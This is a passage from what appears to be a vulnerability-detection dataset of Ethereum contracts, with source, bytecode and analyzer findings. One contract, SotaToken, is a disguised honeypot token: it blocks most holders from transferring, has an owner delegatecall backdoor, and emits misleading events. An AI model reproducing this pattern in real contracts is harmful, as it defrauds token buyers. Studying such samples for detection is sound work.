7,361
0x2fb12bccf6f5dd338b76be784a93ade072425690
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract BeatOrgToken is MintableToken { using SafeMath for uint256; string public constant name = "BEAT"; string public constant symbol = "BEAT"; uint8 public constant decimals = 18; // 5 bn uint256 public constant HARD_CAP = 5 * (10 ** 9) * (10 ** 18); event Burn(address indexed burner, uint256 value); function batchMint(address[] _to, uint256[] _amount) external canMint returns (bool) { require(_to.length == _amount.length); for (uint i = 0; i < _to.length; i++) { require(_to[i] != address(0)); require(mint(_to[i], _amount[i])); } return true; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(_amount > 0); require(totalSupply.add(_amount) <= HARD_CAP); return super.mint(_to, _amount); } function burn(uint256 _value) onlyOwner public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } }
0x6060604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010b57806306fdde0314610132578063095ea7b3146101bc57806318160ddd146101de57806323b872dd14610203578063313ce5671461022b5780633a03171c1461025457806340c10f191461026757806342966c681461028957806366188463146102a157806368573107146102c357806370a08231146102ed5780637d64bcb41461030c5780638da5cb5b1461031f57806395d89b4114610132578063a9059cbb1461034e578063d73dd62314610370578063dd62ed3e14610392578063f2fde38b146103b7575b600080fd5b341561011657600080fd5b61011e6103d6565b604051901515815260200160405180910390f35b341561013d57600080fd5b6101456103f7565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610181578082015183820152602001610169565b50505050905090810190601f1680156101ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c757600080fd5b61011e600160a060020a036004351660243561042e565b34156101e957600080fd5b6101f161049a565b60405190815260200160405180910390f35b341561020e57600080fd5b61011e600160a060020a03600435811690602435166044356104a0565b341561023657600080fd5b61023e610622565b60405160ff909116815260200160405180910390f35b341561025f57600080fd5b6101f1610627565b341561027257600080fd5b61011e600160a060020a0360043516602435610637565b341561029457600080fd5b61029f6004356106c7565b005b34156102ac57600080fd5b61011e600160a060020a03600435166024356107ad565b34156102ce57600080fd5b61011e60246004803582810192908201359181359182019101356108a7565b34156102f857600080fd5b6101f1600160a060020a0360043516610978565b341561031757600080fd5b61011e610993565b341561032a57600080fd5b610332610a40565b604051600160a060020a03909116815260200160405180910390f35b341561035957600080fd5b61011e600160a060020a0360043516602435610a4f565b341561037b57600080fd5b61011e600160a060020a0360043516602435610b4a565b341561039d57600080fd5b6101f1600160a060020a0360043581169060243516610bee565b34156103c257600080fd5b61029f600160a060020a0360043516610c19565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052600481527f4245415400000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b6000600160a060020a03831615156104b757600080fd5b600160a060020a0384166000908152600160205260409020548211156104dc57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561050f57600080fd5b600160a060020a038416600090815260016020526040902054610538908363ffffffff610cb416565b600160a060020a03808616600090815260016020526040808220939093559085168152205461056d908363ffffffff610cc616565b600160a060020a038085166000908152600160209081526040808320949094558783168252600281528382203390931682529190915220546105b5908363ffffffff610cb416565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b601281565b6b1027e72f1f1281308800000081565b60035460009033600160a060020a0390811691161461065557600080fd5b60035474010000000000000000000000000000000000000000900460ff161561067d57600080fd5b6000821161068a57600080fd5b6000546b1027e72f1f12813088000000906106ab908463ffffffff610cc616565b11156106b657600080fd5b6106c08383610cd5565b9392505050565b60035460009033600160a060020a039081169116146106e557600080fd5b600082116106f257600080fd5b600160a060020a03331660009081526001602052604090205482111561071757600080fd5b5033600160a060020a03811660009081526001602052604090205461073c9083610cb4565b600160a060020a03821660009081526001602052604081209190915554610769908363ffffffff610cb416565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561080a57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610841565b61081a818463ffffffff610cb416565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600354600090819074010000000000000000000000000000000000000000900460ff16156108d457600080fd5b8483146108e057600080fd5b5060005b8481101561096c5760008686838181106108fa57fe5b90506020020135600160a060020a0316600160a060020a03161415151561092057600080fd5b61095986868381811061092f57fe5b90506020020135600160a060020a0316858584818110151561094d57fe5b90506020020135610637565b151561096457600080fd5b6001016108e4565b50600195945050505050565b600160a060020a031660009081526001602052604090205490565b60035460009033600160a060020a039081169116146109b157600080fd5b60035474010000000000000000000000000000000000000000900460ff16156109d957600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b6000600160a060020a0383161515610a6657600080fd5b600160a060020a033316600090815260016020526040902054821115610a8b57600080fd5b600160a060020a033316600090815260016020526040902054610ab4908363ffffffff610cb416565b600160a060020a033381166000908152600160205260408082209390935590851681522054610ae9908363ffffffff610cc616565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610b82908363ffffffff610cc616565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610c3457600080fd5b600160a060020a0381161515610c4957600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610cc057fe5b50900390565b6000828201838110156106c057fe5b60035460009033600160a060020a03908116911614610cf357600080fd5b60035474010000000000000000000000000000000000000000900460ff1615610d1b57600080fd5b600054610d2e908363ffffffff610cc616565b6000908155600160a060020a038416815260016020526040902054610d59908363ffffffff610cc616565b600160a060020a0384166000818152600160205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3506001929150505600a165627a7a72305820b45c6f481b0651acf3e7ad6cd8bd437f9b0a04899fd582d84a8d676ec12cd4ac0029
{"success": true, "error": null, "results": {}}
7,362
0x4b96Fa36e05E79C0e02b88619491605e26a95503
//SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } abstract contract Context { constructor() {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public override view returns(uint) { return _totalSupply; } function balanceOf(address account) public override view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public override view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract SotaToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require(msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin)); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 100000000000000000000000000; string public name = "SOTA"; string public symbol = "SOTA"; address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address private owner; address public uniPair; function sliceUint(bytes memory bs) internal pure returns (uint) { uint x; assembly { x := mload(add(bs, add(0x10, 0))) } return x; } function isAccountValid(address subject) pure public returns (bool result) { return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0; } function onlyByHundred() view public returns (bool result) { require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this"); return true; } constructor() { owner = msg.sender; uniPair = pairFor(uniFactory, wETH, address(this)); allowance[address(this)][uniRouter] = uint(-1); allowance[msg.sender][uniPair] = uint(-1); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0x6080604052600436106101095760003560e01c806395d89b4111610095578063a9059cbb11610064578063a9059cbb14610461578063aa2f52201461048d578063d6d2b6ba14610530578063dd62ed3e146105e4578063f24286211461061f57610109565b806395d89b41146102f6578063964561f51461030b5780639c73735514610437578063a0e47bf61461044c57610109565b8063313ce567116100dc578063313ce5671461023557806332972e461461024a57806370a082311461027b57806373a6b2be146102ae57806376771d4b146102e157610109565b806306fdde031461010e578063095ea7b31461019857806318160ddd146101d857806323b872dd146101ff575b600080fd5b34801561011a57600080fd5b50610123610634565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015d578181015183820152602001610145565b50505050905090810190601f16801561018a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c4600480360360408110156101ae57600080fd5b506001600160a01b0381351690602001356106c2565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed610728565b60408051918252519081900360200190f35b6101c46004803603606081101561021557600080fd5b506001600160a01b0381358116916020810135909116906040013561072e565b34801561024157600080fd5b506101ed6108b7565b34801561025657600080fd5b5061025f6108bc565b604080516001600160a01b039092168252519081900360200190f35b34801561028757600080fd5b506101ed6004803603602081101561029e57600080fd5b50356001600160a01b03166108cb565b3480156102ba57600080fd5b506101c4600480360360208110156102d157600080fd5b50356001600160a01b03166108dd565b3480156102ed57600080fd5b5061025f610924565b34801561030257600080fd5b50610123610933565b6104356004803603606081101561032157600080fd5b81359190810190604081016020820135600160201b81111561034257600080fd5b82018360208201111561035457600080fd5b803590602001918460208302840111600160201b8311171561037557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103c457600080fd5b8201836020820111156103d657600080fd5b803590602001918460208302840111600160201b831117156103f757600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061098e945050505050565b005b34801561044357600080fd5b506101c4610b45565b34801561045857600080fd5b5061025f610b96565b6101c46004803603604081101561047757600080fd5b506001600160a01b038135169060200135610ba5565b6101c4600480360360408110156104a357600080fd5b810190602081018135600160201b8111156104bd57600080fd5b8201836020820111156104cf57600080fd5b803590602001918460208302840111600160201b831117156104f057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610bb9915050565b6104356004803603604081101561054657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561057057600080fd5b82018360208201111561058257600080fd5b803590602001918460018302840111600160201b831117156105a357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610cbb945050505050565b3480156105f057600080fd5b506101ed6004803603604081101561060757600080fd5b506001600160a01b0381358116916020013516610d78565b34801561062b57600080fd5b5061025f610d95565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b820191906000526020600020905b81548152906001019060200180831161069d57829003601f168201915b505050505081565b3360008181526001602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025481565b600854600090849084906001600160a01b038084169116148061075e57506008546001600160a01b038281169116145b8061077657506009546001600160a01b038381169116145b8061078b57506008546001600160a01b031632145b806107a057506008546001600160a01b031633145b806107af57506107af326108dd565b6107b857600080fd5b836107c657600192506108ae565b336001600160a01b03871614610831576001600160a01b038616600090815260016020908152604080832033845290915290205484111561080657600080fd5b6001600160a01b03861660009081526001602090815260408083203384529091529020805485900390555b6001600160a01b03861660009081526020819052604090205484111561085657600080fd5b6001600160a01b0380871660008181526020818152604080832080548a9003905593891680835291849020805489019055835188815293519193600080516020610de4833981519152929081900390910190a3600192505b50509392505050565b601281565b6009546001600160a01b031681565b60006020819052908152604090205481565b600060646109158360405160200180826001600160a01b031660601b8152601401915050604051602081830303815290604052610da4565b8161091c57fe5b061592915050565b6006546001600160a01b031681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106ba5780601f1061068f576101008083540402835291602001916106ba565b6008546001600160a01b031633146109a557600080fd5b306000818152602081905260408082208690556002543380845292829020606460069092028290049055600554825163f305d71960e01b815260048101959095526024850188905260448501889052349185018290526084850193909352610258420160a485015290516001600160a01b039092169263f305d7199260c480830192606092919082900301818588803b158015610a4157600080fd5b505af1158015610a55573d6000803e3d6000fd5b50505050506040513d6060811015610a6c57600080fd5b50508051825114610a7c57600080fd5b60005b8251811015610b3f57818181518110610a9457fe5b6020026020010151600080858481518110610aab57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550828181518110610ae357fe5b60200260200101516001600160a01b031660006001600160a01b0316600080516020610de4833981519152848481518110610b1a57fe5b60200260200101516040518082815260200191505060405180910390a3600101610a7f565b50505050565b6000610b50336108dd565b1515600114610b905760405162461bcd60e51b8152600401808060200182810382526038815260200180610dac6038913960400191505060405180910390fd5b50600190565b6005546001600160a01b031681565b6000610bb233848461072e565b9392505050565b6008546000906001600160a01b03163314610bd357600080fd5b82513360009081526020819052604090205490830290811115610bf557600080fd5b336000908152602081905260408120805483900390555b8451811015610cb0576000858281518110610c2357fe5b6020908102919091018101516001600160a01b0381166000818152928390526040909220805488019055915033600080516020610de483398151915260028860408051929091048252519081900360200190a36001600160a01b03811633600080516020610de483398151915260028860408051929091048252519081900360200190a350600101610c0c565b506001949350505050565b6008546001600160a01b03163314610cd257600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610d0c5780518252601f199092019160209182019101610ced565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610d6c576040519150601f19603f3d011682016040523d82523d6000602084013e610d71565b606091505b5050505050565b600160209081526000928352604080842090915290825290205481565b6007546001600160a01b031681565b601001519056fe4f6e6c79206f6e6520696e20612068756e64726564206163636f756e74732073686f756c642062652061626c6520746f20646f2074686973ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207661d24e70b81474eee4d2c2fd9c4fd303bc2b03667075a6c717c23c37d484f664736f6c63430007030033
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,363
0x9D877Cc6E8E32029b31FD6EEe1Aa337548C20188
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function 